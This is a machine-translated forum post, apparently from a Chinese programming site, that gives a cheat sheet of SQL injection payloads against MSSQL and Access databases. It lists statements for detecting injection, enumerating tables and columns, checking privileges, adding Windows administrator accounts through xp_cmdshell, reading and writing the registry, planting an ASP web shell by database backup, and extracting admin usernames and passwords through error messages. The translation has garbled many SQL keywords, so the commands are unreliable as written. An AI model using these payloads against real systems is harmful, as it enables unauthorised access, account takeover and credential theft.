Ta članek je zrcalni članek strojnega prevajanja, kliknite tukaj za skok na izvirni članek.

Pogled: 14167|Odgovoriti: 0

[Varna komunikacija] SQL injection pogoste stavke

[Kopiraj povezavo]
Objavljeno na 22. 11. 2014 17:17:21 | | |
1. Ugotoviti, ali je prišlo do injekcije
; in 1=1
; in 1=2

2. Predhodna presoja, ali gre za mssql
; in uporabnik>0

3. Presodi podatkovni sistem
; in (select count(*) iz sysobjects)>0 mssql
; in (izberi count(*) iz msysobjects)>0 dostop

4. Parameter vbrizgavanja je znak
'in [kriteriji poizvedb] in ''='

5. Med iskanjem ni filtriranih parametrov
'in [kriteriji poizvedb] in '%25'='

6. Ugani ime mize
; in (izberite Count(*) iz [ime tabele])>0

7. Ugani polje
; in (izberite Count(ime polja) iz imena tabele)>0

8. Ugani dolžino zapisa na polju
; in (izberite zgornjo 1 lečo (ime polja) iz imena tabele)>0

9. (1) Ugani ASCII vrednost polja (dostop)
; in (izberite Top 1 ASC(Mid(Field Name, 1,1)) iz imena tabele)>0

(2) Ugani ASCII vrednost polja (mssql)
; in (izberite top 1 unicode(substring(field name,1,1)) iz imena tabele)>0

10. Struktura dovoljenj za testiranje (mssql)
; in 1=(izberite IS_SRVROLEMEMBER('sysadmin')); --
; in 1=(izberite IS_SRVROLEMEMBER('serveradmin')); --
; in 1=(izberi IS_SRVROLEMEMBER('setupadmin')); --
; in 1=(izberite IS_SRVROLEMEMBER('securityadmin')); --
; in 1=(izberi IS_SRVROLEMEMBER('diskadmin')); --
; in 1=(izberite IS_SRVROLEMEMBER('bulkadmin')); --
; in 1=(izberite IS_MEMBER('db_owner')); --

11. Dodajte račun za mssql in sistem
; izvršni master.dbo.sp_addlogin uporabniško ime; --
; izvršni master.dbo.sp_password null, uporabniško ime, geslo; --
; uporabniško ime izvršnega master.dbo.sp_addsrvrolemember sistemskega administratorja; --
; exec master.dbo.xp_cmdshell 'NET uporabniško ime, geslo /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; izvršni master.dbo.xp_cmdshell 'net uporabniško ime, geslo /add'; --
; izvršni master.dbo.xp_cmdshell 'Uporabniško ime administratorjev lokalnih skupin /add'; --

12. (1) Preglejte katalog
; Create table dirs(paths varchar(100), id int)
; vstavi direktors exec master.dbo.xp_dirtree 'c:\'
; in (izberi top 1 poti iz dirs)>0
; in (izberi zgornje 1 poti iz dirjev, kjer poti niso v ('poti, pridobljene iz prejšnjega koraka'))>)

(2) Prečkati katalog
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; vstavi začasno izvršno master.dbo.xp_availablemedia; -- Pridobite vse tokovne pogone
; vstavi v temp(id) izvršni master.dbo.xp_subdirs 'c:\'; -- Pridobite seznam podimenikov
; vstavi v temp(id,num1) izvršilko master.dbo.xp_dirtree 'c:\'; -- Pridobi strukturo drevesa imenikov za vse podimenike
; vstavi v temp(id) exec master.dbo.xp_cmdshell 'vpiši c:\web\index.asp'; -- Oglejte si vsebino datoteke

13. Shranjene procedure v mssql
xp_regenumvalues Korenski ključ registra, otroški ključ
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' vrne vse ključne vrednosti v več zbirkah zapisov
xp_regread Korenski ključ, otroški ključ, ime ključ-vrednost
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' vrne vrednost ključa za nastavitev
xp_regwrite Korenski ključ, otroški ključ, ime vrednosti, tip vrednosti, vrednost
Obstajata dve vrsti vrednostnih tipov REG_SZ REG_DWORD za tipe znakov in za cela števila
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' v register
xp_regdeletevalue Korenski ključ, podključ, ime vrednosti
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' za odstranitev vrednosti
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' za odstranitev ključa, vključno z vsemi vrednostmi pod tem ključem

14. MSSQL varnostno kopiranje ustvari spletno lupino
Model uporabe
create table cmd (str image);
vstavi v cmd(str) vrednosti ('<% Dim oScript %>');
model varnostne kopije baze podatkov na disk='c:\l.asp';

15. Vgrajene funkcije MSSQL
; in (izberite @@version)>0 za pridobitev številke različice Windows
; in user_name()='dbo' za ugotavljanje, ali je povezan uporabnik trenutnega sistema SA
; in (izberi user_name()>0 Eksplodiral povezane uporabnike trenutnega sistema
; in (izberite db_name()>0 za pridobitev trenutno povezane baze podatkov



Kršitev ročno označene podatkovne baze MSSQL

1. Razkritje trenutnega imena tabele in stolpca
Vnesite "'having 1=1--" za točko vbrizga, da dobite povratno sporočilo v angleščini, kjer lahko vidite ime tabele in ime stolpca. Pošljite "group by the list name have 1=1--", da dobite drugo ime stolpca; Nadaljujte z oddajo "razvrstite po seznamu imena izpostavljene mize, ime izpostavljene tabele. Ime drugega stolpca ima 1=1--", kar vam da drugo ime stolpca. Potrdite na enak način, dokler stran ne preneha vračati sporočil o napakah, da dobite vsa imena stolpcev. Zanimivosti: Nasilna imena tabel in stolpcev se uporabljajo v kombinaciji z GROUP BY v SQL stavkih za pogojne sodbe. Ker je izjava nepopolna, baza podatkov vrne sporočilo o napaki in prikaže ime tabele ter ime stolpca. Osnovna metoda lahko v bazi podatkov razkrije le trenutno tabelo, in če tabela vsebuje veliko imen stolpcev, je uporaba osnovne metode zelo težka.

Najprej. Vsa imena baz podatkov so razkrita
Uporabite ukaz "and 0<>(select count(*) iz master.dbo.sysdatabases where name>1 and dbid=[N])" za prikaz poljubnih imen tabel in stolpcev v bazi, kjer "[N]" predstavlja N-to tabelo v bazi.
Korak 1: Po vbrizgu točke oddajte naslednjo izjavo: "and 0<>(select count(*) iz master.dbo.sysdatabases, kjer je ime>1 in dbid=12)", ker je vrednost dbid od 1 do 5, kar uporablja sistem, zato mora uporabnik to narediti iz 6, mi pa smo poslali ime>1, polje imena je polje tipa znaka, in primerjava številk bo napačna, zato bo po oddaji IE vrnil naslednje informacije: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] pretvori vrednost nvarchar 'Northwind' v podatkovni tip int stolpec. Na ta način je vrednost polja imena izpostavljena, torej dobimo ime baze podatkov "Northwind". Sprememba vrednosti "dbid" lahko pridobi imena vseh baz podatkov.

in 0<>(izberi count(*) iz master.dbo.sysdatabases, kjer name>1 in dbid=[N])-- Spremeni N, da se vsa imena baz podatkov izbrišejo iz 6


Drugič. Razkritje vseh imen tabel v določeni bazi podatkov
Ko pridobite ime baze podatkov, morate zdaj pridobiti vsa imena tabel v knjižnici, oddati naslednjo izjavo: "and 0<>(izberite ime top 1 iz master.dbo.sysobjects where xtype='U')", tukaj je ime tabele v glavni bazi podatkov, SQL izjava poizvedbe vrne vrednost imena in jo nato primerja s številko 0, da bo vrednost imena izpostavljena. Po oddaji je bilo ime mize "'spt_monito" razkrito.
Nato se izpostavijo druge tabele in odda se naslednja izjava: "and 0<>(izberi prvo ime iz master.dbo.sysobjects, kjer xtype='U' in ime ni v('spt_monito'))", ter druga tabela z imenom "cd512" je izpostavljena. Datoteka "and name not in(' spt_monito',' CD512',..))" Lahko izveste vsa imena miz.

in 0<>(izberite prvo ime iz [določi ime baze podatkov].dbo.sysobjects kjer xtype='U')--
in 0<>(izberi prvo ime iz [določi ime baze podatkov].dbo.sysobjects, kjer xtype='U' in ime ni v('[Eksplodirana tabela]'))--
in 0<>(izberi prvo ime iz [določi ime baze podatkov].dbo.sysobjects, kjer xtype='U' in ime ni v ('[Explosive table name]', '[Exploded second table name]')))--

4. Prikaži vsa imena stolpcev v določeni tabeli
in 0<>(select count(*) iz bbs.dbo.sysobjects, kjer xtype='U' in name='admin' ter uid>(str(id)))
Pretvorite vrednost ID v tip znaka in jo nato primerjajte z celoštevilsko vrednostjo. ID številka je zunaj. Vrednost je: 949578421 ime='ime tabele'

in 0<>(izberite prvo ime iz wutong.dbo.syscolumns, kjer je id=949578421)-- Polje v administrativni tabeli je izpostavljeno

Ponovno pošlji in 0<>(izberi prvo ime iz wutong.dbo.syscolumns, kjer id=949578421 in ime ni v ('adduser')))--
Datoteka "and name not in(' spt_monito',' CD512',..))" Vsa imena polj lahko najdete v administrativni tabeli.


in 0<>(izberi count(*) iz [določi ime baze podatkov].dbo.sysobjects kjer xtype='U' in ime='[Ime tabele polja, ki ga želimo razbiti]' in uid>(str(id)))--ID vrednost imena tabele polja, ki ga želimo razstreliti

in 0<>(izberite prvo ime iz [določite ime baze podatkov].dbo.syscolumns, kjer id=eksplodirana vrednost id)-- Ime polja v tabeli vrednosti eksplodirajočega ID

in 0<>(izberi prvo ime iz [navedi ime baze podatkov].dbo.syscolumns, kjer id=Eksplozivna vrednost ID in ime ni v('[Eksplodirano ime polja]'))--



5. Preberi podatke v določeni tabeli

in 0<(izberi A_ID iz wutong.dbo.admin, kjer A_UserID>1) – vsebina, ki je prekinila A_PWD

in 0<(izberi [polje, ki obstaja] iz [navedi ime baze podatkov].dbo.[ime tabele za poizvedbo], kjer [ime polja za eksplozivno vsebino]>1)--

in 0<(izberi A_ID iz wutong.dbo.admin, kjer sta A_PWD>1 in A_UserID='admin')-- Geslo administratorja je izpostavljeno


in 0<(Izberi Top 1 A_UserID OD administratorja, kjer A_ID<>1)-- Ime administratorja id<>1 (fuhao)

in 0<(Izberi Top 1 A_UserID OD administratorja, kjer A_ID <>1 in A_UserID <> 'fuhao')-- Ime drugega administratorja <>ni enako (tuiguang)

in 0<(Izberi Top 1 A_UserID OD admina, kjer A_ID <>1 in A_UserID <> 'fuhao' in A_UserID <> 'tuiguang')--

Ko poznate ime tabele in ime stolpca baze podatkov, lahko uporabite "query statement" za branje katerekoli informacije v bazi. Na primer, če želite prebrati N-te podatke v stolpcu v tabeli, lahko oddate izjavo: "and (Izberite ime zgornjega 1 stolpca IZ imena tabele, kjer id=[N])>1" ([N] predstavlja N-te podatke v stolpcu), in lahko izvedete želene podatke iz informacij, ki jih vrne IE.






Prejšnji:Kako skriti stisnjeno RAR datoteko v jpg datoteki
Naslednji:Zberi "Harry Potter" 1~7 Vzemi ga ven in deli Če ti ni všeč, ga ne prši
Disclaimer:
Vsa programska oprema, programski materiali ali članki, ki jih izdaja Code Farmer Network, so namenjeni zgolj učnim in raziskovalnim namenom; Zgornja vsebina ne sme biti uporabljena v komercialne ali nezakonite namene, sicer uporabniki nosijo vse posledice. Informacije na tej strani prihajajo z interneta, spori glede avtorskih pravic pa nimajo nobene zveze s to stranjo. Zgornjo vsebino morate popolnoma izbrisati z računalnika v 24 urah po prenosu. Če vam je program všeč, podprite pristno programsko opremo, kupite registracijo in pridobite boljše pristne storitve. Če pride do kakršne koli kršitve, nas prosimo kontaktirajte po elektronski pošti.

Mail To:help@itsvse.com